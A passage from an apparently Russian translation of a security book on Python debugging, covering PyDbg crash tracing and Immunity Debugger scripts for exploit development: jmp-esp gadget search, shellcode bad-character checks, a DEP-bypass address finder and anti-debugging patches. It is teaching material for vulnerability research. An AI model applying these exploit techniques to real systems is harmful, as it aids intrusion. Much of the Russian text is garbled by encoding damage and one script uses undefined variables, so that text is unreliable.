дизассемблирует каждую инструкцию , исследуемого приложения , до тех
пор , пока у нас сн

оZ не сработает нарушение прав доступа или пока мы не
достигнем максимального количестZ инструкций , которые мы хотим
про_jblv . В любое j_fy u можете наблюдать uah\ опасной функции ,
которая подбирает данные , посланные приложению и на которые стоит
обращать gbfZgb_ , что бы понять , можно ли манипулироZlv ими для
достижения сбоя в приложении . Это перuc шаг к создан

ию эксплойта .

Разогрейте пальцы (будет много кода ), создайте ноuc файл, назZ\ его
danger_ track.py и едя следующий код .

Example 4: danger_track.py

from pydbg import *
from pydbg.defines import *

import utils

# This is the maximum number of instructions we will log
# after an access violation
MAX_INSTRUCTIONS = 10

# This is far from an exhaustive list; add more for bonus points
dangerous_functions = {
"strcpy" : "msvcrt.dll",
"strncpy" : "msvcrt.dll",
"sprintf" : "msvcrt.dll",
"vsprintf": "msvcrt.dll"
}

dangerous_functions_resolved = {}
crash_encountered = False
instruction_count = 0

def danger_handler(dbg):

# We want to print out the contents of the stack; that's
about it
# Generally there are only going to be a few parameters, so
we will
# take everything from ESP to ESP+20, which should give us
enough
# information to determine if we own any of the data
esp_offset = 0
print "[*] Hit %s" %
dangerous_functions_resolved[dbg.context.Eip]
print "================================================="

while esp_offset <= 20:
parameter = dbg.smart_dereference(dbg.context.Esp +
esp_offset)
print "[ESP + %d] => %s" % (esp_offset, parameter)
esp_offset += 4

print "=================================================\n"

dbg.suspend_all_threads()
dbg.process_snapshot()
dbg.resume_all_threads()

return DBG_CONTINUE

def access_violation_handler(dbg):
global crash_encountered

# Something bad happened, which means something good
happened :)
# Let's handle the access violation and then restore the
process
# back to the last dangerous function that was called

if dbg.dbg.u.Exception.dwFirstChance:
return DBG_EXCEPTION_NOT_HANDLED

crash_bin = utils.crash_binning.crash_binning()
crash_bin.record_crash(dbg)
print crash_bin.crash_synopsis()

if crash_encountered == False:
dbg.suspend_all_threads()
dbg.process_restore()
crash_encountered = True

# We flag each thread to single step
for thread_id in dbg.enumerate_threads():

print "[*] Setting single step for thread: 0x%08x" %
thread_id
h_thread = dbg.open_thread(thread_id)
dbg.single_step(True, h_thread)
dbg.close_handle(h_thread)

# Now resume execution, which will pass control to our
# single step handler
dbg.resume_all_threads()

return DBG_CONTINUE
else:
dbg.terminate_process()

return DBG_EXCEPTION_NOT_HANDLED

def single_step_handler(dbg):
global instruction_count
global crash_encountered

if crash_encountered:

if instruction_count == MAX_INSTRUCTIONS:

dbg.single_step(False)
return DBG_CONTINUE
else:

# Disassemble this instruction
instruction = dbg.disasm(dbg.context.Eip)
print "#%d\t0x%08x : %s" %
(instruction_count,dbg.context.Eip, instruction)
instruction_count += 1
dbg.single_step(True)

return DBG_CONTINUE

dbg = pydbg()

pid = int(raw_input("Enter the PID you wish to monitor: "))

dbg.attach(pid)

# Track down all of the dangerous functions and set breakpoints
for func in dangerous_functions.keys():

func_address = dbg.func_resolve(
dangerous_functions[func],func )
print "[*] Resolved breakpoint: %s -> 0x%08x" % ( func,
func_address )
dbg.bp_set( func_address, handler = danger_handler )
dangerous_functions_resolved[func_address] = func

dbg.set_callback( EXCEPTION_ACCESS_VIOLATION,
access_violation_handler )
dbg.set_callback( EXCEPTION_SINGLE_STEP, single_step_handler )
dbg.run()

В этом блоке кода не должно быть никаких больших сюрпризов, поскольку
было пройдено большинстh понятий , в наших предыдущих попытках
использоZgby PyDbg. Лучший способ про_jblv эффектиghklv этого
скрипта – это u[jZlv программное обеспечение , которое , как из_klgh ,
имеет уязbfhklv и присоединиться к нему , используя данный скрипт , а
затем послать необходимые oh^gu_ данные , для uahа сбоя в пр
иложении.

Мы прошли сжатый экскурс по отладчику PyDbg и рассмотрели различные
функций , которые он предостаey_l . Как b^bl_ , hafh`ghklb скриптоh]h
отладчика яeyxlky чрезuqZcgh мощными , предостаeyy хорошую
hafh`ghklv для аlhfZlbaZpbb задач . Единст_gguc его недостаток
заключается в том , что для каждого куска информации , который u хотите
получить , придется писать соот_lklующий код . Это то место , где наш
следующий инструмент, Immunity Debugger , объединяет haf

ожности
скриптоh]h и графического отладчика. Его рассмотрение продолжим в
следующей гла_…


4.4 Ссылки

[1] The PaiMei source tree, documentati on, and development roadmap can be
found at http://code.google.com/p/paimei/

[2] A classic stack-based overflow can be found in WarFTPD 1.65. You can still
download this FTP server from
http://support.jgaa.com/index. php?cmd=DownloadVersion&ID=1

ГЛАВА 5
Immunity Debugger


Рассмотрев создание и использоZgby отладчика на чистом Python’ е в b^_
PyDbg, пришло j_fy изучить Immunity Debugger, который состоит из
полноценного пользоZl_evkdh]h интерфейса и наимощнейшей Python-
библиотекой, на сегодняшний день , для разработки эксплойтов , обнаружения
уязbfhkl_c и анализа j_^hghkgh]h кода . Выпущенный в 2007 году,
Immunity Debugger имеет хорошее сочетание hafh`ghkl_c как
динамической отладки, так и статического анализа . Помимо этого он имеет
полностью настр

аиZ_fuc графический интерфейс , реализоZgguc на
чистом Питоне . В начале этой глаu мы кратко познакомимся с отладчиком
Immunity Debugger и его пользоZl_evkdbf интерфейсом . Затем начнем
постепенное углубление в разработку эксплойта и некоторых методов, для
аlhfZlbq_kdh]h обхода анти -отладочных приемов, применяемых в
j_^hghkghf ПО. ДаZcl_ начнем с загрузки Immunity Debugger и его
запуска .


5.1 УстаноdZ Immunity Debugger

Imm

unity Debugger распространяется и поддержиZ_lky [1]
бесплатно , hl
ссылка на его скачиZgb_ : http://debugger.immunityinc.com/


Просто скачайте и запустите устаноsbd . Если u еще не устанаebали
Python 2.5 ( прим. пер . как Zf со_lhалось), то это не большая проблема ,
поскольку Immunity Debugger постаey_lky в комплекте с инсталлятором
Python 2.5 (прим . пер . на момент переh^Z статьи _jkby Питона идущего в
составе отлдачика была 2.7.1), которые будет устаноe_g отлдачиком за Zk ,
если hagbdg_l такая необходимость . Сразу после устаноdb и запуска
Imm

unity Debugger – он будет готов к использоZgbx .


5.2 Immunity Debugger 101

ДаZcl_ произ_^_f быстрый обзор Immunity Debugger и его интерфейса , а
затем перейдем к рассмотрению Python-библиотеки immlib, которая
позhey_l писать скрипты для отладчика . При перhf запуске u уb^bl_
интерфейс показанный на Рис 5-1.

Рис . 5-1 : Осноghc интерфейс Immunity Debugger

Осноghc интерфейс отладчика состоит из пяти осноguo частей . В _jog_f
леhf углу расположено окно CPU, где отображается ассемблерный код. В
_jog_f праhf углу расположено окно регистров , где отображаются
регистры общего назначения , а так же другие регистры процессора. В леhf
нижнем углу расположено окно дампа памяти, где u можете b^_l
ь
шестнадцатеричный дамп любого адресного пространстZ , u[jZggh]h Zfb .
В праhf нижнем углу расположено окно стека, в котором отображаются
соот_lklующие uahы стека ; оно так же показыZ_l Zf декодироZggu_
параметры функций в b^_ симhevghc информации (например , какой -
нибудь родной uah\ Windows API функции). Пятый элемент – это белая
панель командной строки , расположенная в самом низу и предназначенн
ая
для упраe_gby отладчиком , с помощью команд в WinDbg- стиле. Здесь же u
можете uihegylv PyCommands, которые мы рассмотрим дальше .

5.2.1 PyCommands

Осноghc способ uiheg_gby Python-скриптов в Immunity Debugger
заключается в использоZgbb PyCommands [2]
. PyCommands – это Python-
скрипты , которые написаны для uiheg_gby различных задач gmljb
Immunity Debugger, например, скрипты осуществляющие : различные
перехZlu , статический анализ или любой другой отладочный фукнционал.
Каждый PyCommand должен иметь определенную структуру, для сh_]h
праbevgh]h uiheg_gby . Следующий фрагмент кода показыZ_l осноgmx

структуру PyCommand, которую u можете использоZlv в качестве
шаблона , для создания собственных PyCommands.

from immlib import *

def main(args):
# Instantiate a immlib.Debugger instance
imm = Debugger()

return "[*] PyCommand Executed!"

В каждом PyCommand есть д_ осноgu_ состаeyxsb_ . Первая
составляющая , у Zk должна быть определена функция main(), которая
должна принимать один параметр, яeyxsbcky списком аргументов
передаZ_fuo в PyCommand. Вторая составляющая , заключается в том , что
main() должна haратить «строку », когда закончит сh_ uiheg_gb_ . Этой
строкой будет обноe_gZ «строка состояния отладчика » (прим. пер .
находящаяся под командной строкой ), когда скрипт закон
чит uiheg_gb_ .

Когда u захотите запустить PyCommand, Zf следует убедиться в том , что
Zr скрипт сохранен в директории PyCommands, которая находится в
осноghf устаноhqghf каталоге Immunity Debugger. Для uiheg_gby
сохраненного скрипта , просто едите hkdebpZl_evguc знак
сопроh`^Z_fuc именем скрипта , в командной строке отладчика , hl так :

!

Как только u нажмете ENTER, Zr скрипт начнет uihegylvky .

5.2.2 PyHooks

Immunity Debugger постаey_lky с 13- ю различными b^Zfb перехZlh\ ,
каждый из которых u можете реализоZlv либо как отдельный скрипт , либо
как gmlj_ggbc скрипт PyCommand. Могут использоZlvky следующие типы
перехZlh\ :

BpHook/LogBpHook Когда klj_qZ_lky брейкопйнт – срабатыZxl эти типы перехZlh\ . Оба
перехZlZ _^ml себя одинакоh , за исключением того , что когда
klj_q

ается BpHook, то он в дейстbl_evghklb останаeb\Z_l uiheg_gb_
отладчика , тогда как LogBpHook не прерыZ_l его uiheg_gb_ .

AllExceptHook Любое исключение , которое произойдет в процессоре , uahет
uiheg_gb_ этого типа перехZlZ .

PostAnalysisHook Этот перехZl срабатыZ_l после того, как отладчик закончит
анализироZlv загруженный модуль. Это может быть полезно , если у Zk
есть некоторые задачи статического анализа , которые u хотите
произ_klb аlhfZlbq_kdb , сразу после за_jr_gby анализа модуля.
Важно заметить , что модуль ( dexqZy осноghc исполняемый файл )
нужно проанализироZlv прежде , чем u сможете декодироZlv функции
и осноgu_ блоки , использу
я immlib.

AccessViolationHook Этот перехZl срабатыZ_l kydbc раз, когда происходит нарушение прав
доступа ; он наиболее полезен для перехZlZ информации h j_fy
uiheg_gby фаззинга .

LoadDLLHook/UnloadDLLHook Этот перехZl срабатыZ_l kydbc раз, когда загружается /u]jm`Z_lky
DLL.

CreateThreadHook/ExitThreadHook Этот перехZl срабатыZ_l kydbc раз, когда создается /уничтожается
поток .

CreateProcessHook/ExitProcessHook Этот тип перехZlZ срабатывает, когда целеhc процесс з
апускается или
заканчиZ_l работу (exited).

FastLogHook/STDCALLFastLogHook Эти дZ перехZlZ используют заглушку , для передачи uiheg_gby
маленькому телу кода перехZlqbdZ , который может логироZlv
определенное значение регистра или участка памяти h j_fy перехZlZ .
Эти перехZlu полезны для перехZlZ часто uauаемых функций; мы
рассмотрим их использоZgb_ в Главе 6.

Что бы задать PyHook можно использоZlv следующий шаблон, который
использует LogBpHook в качест_ примера :

from immlib import *

class MyHook( LogBpHook ):

def __init__( self ):
LogBpHook.__init__( self )

def run( regs ):
# Executed when hook gets triggered

Мы перегружаем класс LogBpHook и удосто_jy_fky , что определена
функция run(). Когда сработает перехZl , функция run() принимает , в
качест_ единст_ggh]h аргумента, перечень k_o регистров процессора ,
которые были устаноe_gu в момент срабатывания хука , что позhey_l нам
просмотреть или изменить текущие значения по сh_fm усмотрению .
Переменная regs является слоZj_f , который мы можем использоZlv для
доступа к регистрам по именам , hl та
к:

regs["ESP"]

Теперь мы можем определять перехZlu несколькими способами , с помощью
PyCommand и PyHooks. Таким образом , можно устанаebать перехZlu
либо в ручную с помощью PyCommand, либо аlhfZlbq_kdb с помощью
PyHooks ( находится в осноghf устаноhqghf каталоге Immunity Debugger).
В случае PyCommand, перехZl будет устаноe_g kydbc раз, как будет
uiheg_g PyCommand. В случае же PyHooks, перехZl будет срабатыZlv
аlhfZlbq_kdb при каждом запуске Immunity Debugger. Теперь даZcl_
перейдем к некото

рым примерам использоZgby immlib, kljh_gghc Python-
библиотеки Immunity Debugger.


5.3 Разработка эксплойта

Обнаружение уязbfhklb в программном обеспечении это только начало
длинного и трудного путешестby предстоящего Zf для получения
надежного работающего эксплойта . Immunity Debugger имеет множество
конструкторских особенностей , позheyxsbo пройти путь его разработки
немного легче . Мы разработаем некоторые PyCommands, ускоряющие
процесс разработки эксплойта , dexqZy способ нахождения инструкций, для
получения EIP, а так

же фильтрацию байтов не пригодных к использоZgbx в
шелл- коде. Так же мы будем использоZlv PyCommand !findatidep,
постаeyxsmxky в комплекте с Immunity Debugger, которая помогает обойти
DEP (Data Execution Prevention) [3]
. ДаZcl_ начнем !

5.3.1 Поиск дружественных эксплойту инструкций

После того как u получили контроль на EIP, нужно передать uiheg_gb_ на
шелл- код. Как праbeh , у Zk будет регистр или смещение от регистра ,
которое будет указыZlv на шелл- код. Ваше задание – найти инструкцию ,
где -нибудь в исполняемом файле или одном из его загруженных модулей ,
которая передаст уп

равление нужному адресу. Python- библиотека Immunity
Debugger l делает это легким делом , предостаeyy интерфейс поиска , который
позhey_l искать интересующие инструкции по k_fm загруженному
бинарному файлу . ДаZcl_ на коленке быстро набросаем скрипт , который

будет получать инструкцию и haращаться k_ адреса , где эта инструкция
klj_qZ_lky . Создайте ноuc файл findinstruction.py и едите следующий
код .

findinstruction.py:

from immlib import *

def main(args):

imm = Debugger()
search_code = " ".join(args)

(#1): search_bytes = imm.Assemble( search_code )
(#2): search_results = imm.Search( search_bytes )

for hit in search_results:
# Retrieve the memory page where this hit exists
# and make sure it's executable
(#3): code_page = imm.getMemoryPagebyAddress( hit )
(#4): access = code_page.getAccess( human = True )

if "execute" in access.lower():
imm.log( "[*] Found: %s (0x%08x)" % ( search_code,
hit ), address = hit )

return "[*] Finished searching for instructions, check the
Log window."

В начале , пере_^_f полученные инструкции в их бинарный экbалент (#1),
а затем используем функцию Search(), для поиска всех инструкций , в памяти
загруженного бинарного файла (#2). Далее, в haращенном списке
перебираем k_ обнаруженные адреса , для получения страницы памяти , где
расположена инструкция (#3) , после чего удосто_jy_fky в том , что память
помечена как исполняемая (#4). Затем, дл
я каждой инструкции, в
исполняемой странице памяти, находим ее адрес и uодим в окно «Log».
Для использоZgby скрипта , просто передайте инструкцию , которую u
ищите , в качест_ аргумента , hl так:

!findinstruction

После uiheg_gby скрипта , с такими параметрами :

!findinstruction jmp esp

Вы уb^bl_ результат похожий на Рис . 5-2.

Рис . 5-2 : Выh^ PyCommand !findinstruction

Теперь у нас есть список адресов , которые мы можем использоZlv для
uiheg_gby нашего шелл-кода , предполагая , что его можно запустить через
регистр ESP. Помимо списка адресов, у нас теперь есть неплохой
инструмент, позheyxsbc быстро находить адреса интересующих нас
инструкций.

5.3.2 Фильтрация плохих симheh\

Когда u посылаете строку , содержащую эксп
лойт , целеhc системе – есть
некоторые наборы симheh\ , которые u не сможете использовать в шелл-
коде . Например , если мы нашли переполнение стека при uahе функции
strcpy(), то наш эксплойт не может содержать симhe NULL (0x00), потому
что strcpy() перестает копироZlv данные , как только klj_qZ_l значение
NULL. Поэтому при написании эксплойтов используют shellcode-
кодироsbdb , которые после запуска шелл -ко
да декодируют и uihegyxl
его . Однако , сущестmx еще некоторые случаи, когда u можете иметь
несколько симheh\ отфильтроuающихся или обрабатыZxsboky неким
специальным образом в уязbfhf ПО, что может стать настоящим
кошмаром , для определения их в ручную .

Обычно , когда u поместили шелл -код в уязbfmx программу , и он не
запустился (uaав нарушение прав доступа или сбой в программе , до сh_]h
полного uiheg_gby ) нужно , для начала , убедиться в то

м, что он
скопироZeky в память именно так , как u этого хотели . Immunity Debugger
может облегчить решение этой задачи . Посмотрите на Рис . 5-3, который
показыZ_l стек после переполнения .

Рис . 5-3 : Immunity Debugger окно стека после переполнения

Мы b^bf , что регистр EIP в настоящий момент указывает на регистр ESP.
Четыре байта 0xCC просто застаyl останоblvky отладчик , как если бы там
был устаноe_g брейкпойнт ( помните? 0xCC это инструкция INT3). Сразу же
после четырех инструкций INT3, по смещению ESP+0x4, располагается
шелл- код. Именно там нужно начать исследоZgb_ памяти, что бы убедиться ,
что наш шелл- код точно такой , како

й мы его отпраbeb h j_fy нашей
атаки на целеmx систему . Для исследоZgby шелл- кода, находящегося в
памяти , мы просто havf_f оригинал b^_ ASCII-строки и сраgbf его
( побайтно ) с шелл- кодом размещенном в памяти , что бы удосто_jblvky , что
шелл- код был загружен праbevgh . Если мы за
мечаем различие – uодим

плохой байт, который не прошел через программный фильтр , в Log. После
чего, мы можем добаblv обработку такого симheZ в shellcode-кодер , до
запуска поlhjghc атаки ! Для про_jdb работоспособности этого
инструмента , можно aylv шелл- код из Metasploit, либо сhx собст_ggmx
домашнюю заготоdm . Создайте ноuc файл badchar.py и едите следующий
код .

badchar.py:

from immlib import *

def main(args):

imm = Debugger()

bad_char_found = False

# First argument is the address to begin our search
address = int(args[0],16)

# Shellcode to verify
shellcode = "<>"
shellcode_length = len(shellcode)

debug_shellcode = imm.readMemory(address, shellcode_length)
debug_shellcode = debug_shellcode.encode("HEX")

imm.log("Address: 0x%08x" % address)
imm.log("Shellcode Length : %d" % length)

imm.log("Attack Shellcode: %s" % canvas_shellcode[:512])
imm.log("In Memory Shellcode: %s" % id_shellcode[:512])

# Begin a byte-by-byte comparison of the two shellcode
buffers
count = 0
while count <= shellcode_length:

if debug_shellcode[count] != shellcode[count]:
imm.log("Bad Char Detected at offset %d" % count)
bad_char_found = True
break

count += 1

if bad_char_found:
imm.log("[*****] ")
imm.log("Bad character found: %s" %
debug_shellcode[count])
imm.log("Bad character original: %s" % shellcode[count])
imm.log("[*****] ")

return "[*] !badchar finished, check Log window."

В этом скрипте , мы в дейстbl_evghklb используем только uah\
readMemory() из библиотеки Immunity Debugger, а в остальной части скрипта
произh^blky простое сраg_gb_ строк . Теперь k_ что Zf нужно сделать ,
это aylv Zr шелл- код как ASCII-строку (например , если у Zk байты 0xEB
0x09, тогда ZrZ строка будет u]ey^_lv как EB09), klZить ее в скрипт и
запустить скрипт следующим образом :

!badchar



В нашем предыдущем примере , мы бы начали поиск c ESP+0x4, абсолютный
адрес которого ра_g 0x00AEFD4C, поэтому запускаем PyCommand
следующим образом :

!badchar 0x00AEFD4c

После запуска , скрипт сразу предупредил бы нас о любых проблемах с
фильтрацией плохих симheh\ и мог бы значительно сократить j_fy ,
затрачиZ_fh_ на отладку сбоя в шелл- коде или ре_jkbg] каких -либо
фильтров , с которыми мы могли бы столкнуться .

5.3.3 Обход DEP

DEP – это мера обеспечения безопасности реализоZggZy в Microsoft
Windows (XP SP2, 2003 и Vista), для предотjZs_gby uiheg_gby кода в
областях памяти , таких как куча и ст

ек . Это может помешать uiheg_gbx
шелл- кода в большинст_ эксплойтах , потому что большинстh эксплойтов
хранят свои шелл- коды в куче или стеке . Однако , есть из_klguc прием [4]

посредством которого мы можем использоZlv родные uahы Windows API,
что бы отключить DEP, для текущего процесса в котором мы uihegy_fky и
в котором разрешено безопасно передаZlv упраe_gb_ на наш шелл- код
незаbkbfh от того хранится ли он в стеке или в куче . Immunity Debugger
постаey_lky f_kl_ с PyCommand назыZ_fhc findantidep.py. которая
определяет соот_lklующие адреса , для устаноdb Zr_]h эксплойта , таким
образом , что бы отключить DEP и uihegblv шелл- код. Рассмотри

м
небольшую теорию по отключению DEP. Затем перейдем к использоZgbx
скрипта PyCommand, позheyxs_]h находит интересующие нас адреса .

Вызов Windows API, который можно использоZlv , чтобы отключить DEP
для текущего процесса , яey_lky недокументироZgghc функцией
NtSetInformationProcess() [5]
, которая имеет следующий прототип:

NTSTATUS NtSetInformationProcess(
IN HANDLE hProcessHandle,
IN PROCESS_INFORMATION_CLASS ProcessInformationClass,
IN PVOID ProcessInformation,
IN ULONG ProcessInformationLength );

Чтобы отключить DEP – нужно uaать функцию NtSetInformationProcess() с
устаноe_gguf параметрами: ProcessInformationClass в значение
ProcessExecuteFlags (0x22) и ProcessInformation в значение
MEM_EXECUTE_OPTION_ ENABLE (0x2). Проблема с простой устаноdb
шелл- кода заключается в том , что uah\ этой функции состоит из некоторого
количества NULL-параметров , которые яeyxlky проблемными для
большинстZ шелл- кодов. Прием позволяющий обойти это ограничение ,
заключается в размещение шелл- кода в среди
не функции , которая уже на
стеке uahет NtSetInformationProcess() с необходимыми параметрами . В
ntdll.dll есть из_klgh_ место , которое uihegy_l это за нас . Посмотрите на
дизассемблерный uод ntdll.dll для Windows XP SP2, полученный с
помощью Immunity Debugger.

7C91D3F8 . 3C 01 CMP AL,1
7C91D3FA . 6A 02 PUSH 2
7C91D3FC . 5E POP ESI
7C91D3FD . 0F84 B72A0200 JE ntdll.7C93FEBA
...
7C93FEBA > 8975 FC MOV DWORD PTR SS:[EBP-4],ESI
7C93FEBD .^E9 41D5FDFF JMP ntdll.7C91D403
...
7C91D403 > 837D FC 00 CMP DWORD PTR SS:[EBP-4],0
7C91D407 . 0F85 60890100 JNZ ntdll.7C935D6D
...
7C935D6D > 6A 04 PUSH 4
7C935D6F . 8D45 FC LEA EAX,DWORD PTR SS:[EBP-4]
7C935D72 . 50 PUSH EAX
7C935D73 . 6A 22 PUSH 22
7C935D75 . 6A FF PUSH -1
7C935D77 . E8 B188FDFF CALL
ntdll.ZwSetInformationProcess

Следуя по этому коду b^bf сраg_gb_ AL со значением 1, затем в ESI
помещается значение 2. Если AL ра_g 1, то срабатыZ_l услоguc переход
на 0x7C93FEBA. Там значение из ESI перемещается в переменную стека
EBP-4 ( помните , что ESI k_ еще устаноe_gZ в 2?). Затем про_jy_lky
услоb_ по адресу 0x7C91D403, которое про_jy_l нашу переменную в стеке
( она k_ еще раgZ 2), что бы убедиться , что она не раgZ нулю , после че
го
срабатывает услоguc переход на 0x7C935D6D. Вот тут начинается самое
интересное ; b^gh что значение 4 помещается в стек , переменная EBP-4 (k_
еще раgZ 2!) загружается в регистр EAX, затем это значение помещается в

стек, далее lZedbается значение 0x22 и значение -1 (-1, дескриптор
процесса , который гоhjbl uahу функции , что это текущий процесс, в
котором нужно отключить DEP), затем следует uah\
ZwSetInformationProcess ( псе^hgbf NtSetInformationProcess). Итак, в
дейстbl_evghklb то, что случилось в этом куске кода, uaало функцию
NtSetInformationProcess (), со следующими параметрами:

NtSetInformationProcess( -1, 0x22, 0x2, 0x4 )

Perfect! Это отключит DEP для текущего процесса, но для этого нам нужно
передать упраe_gb_ на адрес 0x7C91D3F8. Перед тем как мы передадим
упраe_gb_ на этот кусок кода , нам нужно убедиться , что AL ( младший байт
EAX) устаноe_g в 1. После uiheg_gby этих услоbc , мы сможем передать
упраe_gb_ шелл- коду, как и в любом другом переполнении, например, с
помощью инструкции JMP ESP. Таким образом нужно три адреса :

 Адрес , который устанаebает AL в 1, а затем haращает упраe_gb_ ;
 Адрес , где находится кусок кода для отключения DEP;
 Адрес для передачи упраe_gby в начало нашего шелл- кода.

Обычно Zf нужно искать эти адреса в ручную , но разработчики эксплойтов
в Immunity создали небольшой Python- скрипт findantidep.py , uiheg_ggh]h
b^_ wizard ( мастера), который про_^_l Zk через процесс поиска этих
адресов . Он даже создает строку для эксплойта, которую u можете
скопироZlv и klZить в Zr экплойт . Это позhey_l Zf испол
ьзовать
найденные адреса hh[s_ без каких -либо усилий. ДаZcl_ посмотрим на
скрипт findantidep.py , а затем испытаем его.

findantidep.py:

import immlib
import immutils

def tAddr(addr):
buf = immutils.int2str32_swapped(addr)
return "\\x%02x\\x%02x\\x%02x\\x%02x" % ( ord(buf[0]) ,
ord(buf[1]), ord(buf[2]), ord(buf[3]) )

DESC="""Find address to bypass software DEP"""

def main(args):
imm=immlib.Debugger()
addylist = []
mod = imm.getModule("ntdll.dll")

if not mod:
return "Error: Ntdll.dll not found!"

# Finding the First ADDRESS
(#1): ret = imm.searchCommands("MOV AL,1\nRET")
if not ret:
return "Error: Sorry, the first addy cannot be found"

for a in ret:
addylist.append( "0x%08x: %s" % (a[0], a[2]) )
ret = imm.comboBox("Please, choose the First Address
[sets AL to 1]", addylist)

firstaddy = int(ret[0:10], 16)
imm.Log("First Address: 0x%08x" % firstaddy, address =
firstaddy)

# Finding the Second ADDRESS
(#2): ret = imm.searchCommandsOnModule( mod.getBase(), "CMP
AL,0x1\n PUSH 0x2\n POP ESI\n" )

if not ret:
return "Error: Sorry, the second addy cannot be found"

secondaddy = ret[0][0]
imm.Log( "Second Address %x" % secondaddy , address=
secondaddy )

# Finding the Third ADDRESS
(#3): ret = imm.inputBox("Insert the Asm code to search
for")
ret = imm.searchCommands(ret)

if not ret:
return "Error: Sorry, the third address cannot be found"

addylist = []

for a in ret:
addylist.append( "0x%08x: %s" % (a[0], a[2]) )

ret = imm.comboBox("Please, choose the Third return Address
[jumps to shellcode]", addylist)

thirdaddy = int(ret[0:10], 16)

imm.Log( "Third Address: 0x%08x" % thirdaddy, thirdaddy )

(#4): imm.Log( 'stack =
"%s\\xff\\xff\\xff\\xff%s\\xff\\xff\\xff\\xff" + "A" * 0
x54 +
"%s" + shellcode ' % ( tAddr(firstaddy), tAddr(secondaddy),
tAddr(thirdaddy) ) )

Итак, gZqZe_ найдем команды , которые будут устанаebать AL в 1 (#1),
затем попросим пользоZl_ey u[jZlv походящий адрес. После чего ,
произ_^_f поиск набора инструкций в ntdll.dll , которые содержат код
отключения DEP (#2). На третьем шаге просим пользоZl_ey ести
инструкцию или инструкции , которые должны будут передать упраe_gb_ на
шелл- код (#3), и предостаey_f пользоZl_ex список адресов, где эти
инструкции могут быть найдены . Скри
пт заканчиZ_lky uодом результатов
в окно Log (#4). Посмотрите на рисункци 5-4 – 5-6, что бы уb^_lv , как
проходит этот процесс .

Рис . 5-4 : Вначале u[bjZ_f адрес который устаноbl AL в 1


Рис . 5-5 : Затем одим набор инструкций, которые передадут упраe_gb_ на
шелл- код


Рис . 5-6 : Теперь u[bjZ_f адрес который _jg_lky из шага (#2)

И в конце концов u уb^bl_ uод в окне Log, как показано тут :

stack =
"\x75\x24\x01\x01\xff\xff\xff\xff\x56\x31\x91\x7c\xff\xff\
xff\xff" +
"A" * 0x54 +
"\x75\x24\x01\x01" + shellcode

Теперь u можете просто скопироZlv и klZить эту строку uода в
эксплойт и добаblv сhc шелл- код. ИспользоZgb_ этого скрипта может

помочь протироZlv сущестmxsb_ эксплойты , так чтобы они могли
успешно uihegylvky в системе с dexq_gguf DEP или создавать ноu_
эксплойты , которые поддержиZeb бы отключение DEP из коробки . Это
замечательный пример забирающий часы ручного поиска , который
преjZlbeky в 30-ти секундное упражнение . Теперь u можете b^_lv , как
некоторые простые Python- скрипты могут помочь Zf разрабатыZlv более
надежные и переносимые эк
сплойты в сжатые сроки . ДаZcl_ перейдем к
использоZgbx immlib для обхода общих анти- отладочных процедур h
j_^hghkghf программном обеспечении .


5.4 Обход анти -отладочных методов

Текущие разноb^ghklb j_^hghkgh]h ПО станоylky k_ более и более
запутанными в сhbo методах заражения , распространения и сhbo
способностях защиты от анализа . Помимо общих методов обфускации кода,
таких ка

к использоZgb_ упакоsbdh\ и крипторов j_^hghkgh_ ПО обычно
применяет анти-отладочные приемы , пытаясь предотjZlblv сhc анализ с
помощью отладчика , чтобы затруднить сh_ исследоZgb_ . Используя
Immunity Debugger и Python можно создать некоторые простые скрипты ,
позheyxs__ обойти некоторые из этих анти -отладочных приемов, что бы
помочь аналитику при исследоZgbb сэмплов j_^hghkh\ . ДаZcl_
посмотрим на некоторые из этих наиболее расп
ространенных анти -
отладочных методов и на напишем некоторый соот_lklующий код для их
обхода .

5.4.1 IsDebuggerPresent

Безуслоgh наиболее распространенным анти -отладочным методов яey_lky
использоZgb_ функции IsDebuggerPresent() экспортируемой из kernel32.dll.
Эта функция uauается без параметров и haращает 1 если есть
присоединенный отладчики к текущему процессу или 0 если его нет . Если
мы дизассемблируем эту функцию , мы уb^bf следующий кусок код
а:

7C813093 >/$ 64:A1 18000000 MOV EAX,DWORD PTR FS:[18]
7C813099 |. 8B40 30 MOV EAX,DWORD PTR DS:[EAX+30]
7C81309C |. 0FB640 02 MOVZX EAX,BYTE PTR DS:[EAX+2]
7C8130A0 \. C3 RETN

Этот код загружает адрес из TIB (Thread Information Block), который k_]^Z
располагается по смещению 0x18 от регистра FS. Оттуда он загружает PEB
(Process Environment Block), который k_]^Z находится по смещению 0x30 в
TIB. Третья инструкция устанаeb\Z_l EAX в значение из параметра
BeingDebugged, который располагается по смещению 0x2 в PEB. Если есть
отладчик присоединенный к процессу – этот байт устанаeb\Z_l в 0x1.

Простой обход для этого был опубликоZg Демианом Гомесом (Damian
Gomez) [6]
из Immunity, который яey_lky всего лишь одной Python- строкой,
которая может содержаться в PyCommand или может быть uiheg_gZ из
Python- шела в Immunity Debugger:

imm.writeMemory( imm.getPEBaddress() + 0x2, "\x00" )

Этот код просто обнуляет флаг BeingDebugged в PEB, и теперь любой
злоj_^ , который использует эту про_jdm , будет обманут, полагая, что нет
присоединенного отладчика.

5.4.2 Обход перебора процессов

Вредоносы также пытаются перебирать k_ запущенные процессы на
компьютере , что бы определить запущен ли отладчик . Например , если u
используете Immunity Debugger для исследоZgby bjmkZ , то
ImmunityDebugger.exe будет зарегистрироZg как работающий процесс. Дл
я
перебора запущенных процессов злоj_^ будет использоZlv функцию
Process32First() для получения перh]h зарегистрироZggh]h процесса в
списке процессов системы, а затем будет использоZlv Process32Next() для
перебора k_o остаrboky процессов. Оба эти uahа функций haращают
булеh значение , которое гоhjbl uauающему коду успешно ли
uihegbeZkv функция или нет , поэтому мы можем просто пропатчить д_ эти
функции , так что бы EAX реги

стр устанаebался в нуль , при haращении
результата функцией . Мы будем использоZlv мощный kljh_gguc
ассемблер Immunity Debugger для достижения этой цели . Посмотрите на
следующий код:

(#1): process32first =
imm.getAddress("kernel32.Process32FirstW")
process32next = imm.getAddress("kernel32.Process32NextW")

function_list = [ process32first, process32next ]

(#2): patch_bytes = imm.Assemble( "SUB EAX, EAX\nRET" )

for address in function_list:
(#3): opcode = imm.disasmForward( address, nlines = 10 )
(#4): imm.writeMemory( opcode.address, patch_bytes )

Вначале находим адреса дmo функций перебирающих процессы и сохраняем
их в список (#1). Затем переh^bf некоторые байты в соот_lklующие им
опкоды, которые устаноyl регистр EAX в 0 и _jgml упраe_gb_ из
функции ; в этом и будет заключаться наш патч (#2), Дальше мы проходим 10
инструкций (#3), в нутрии функций Process32First и Process32Next. Делаем
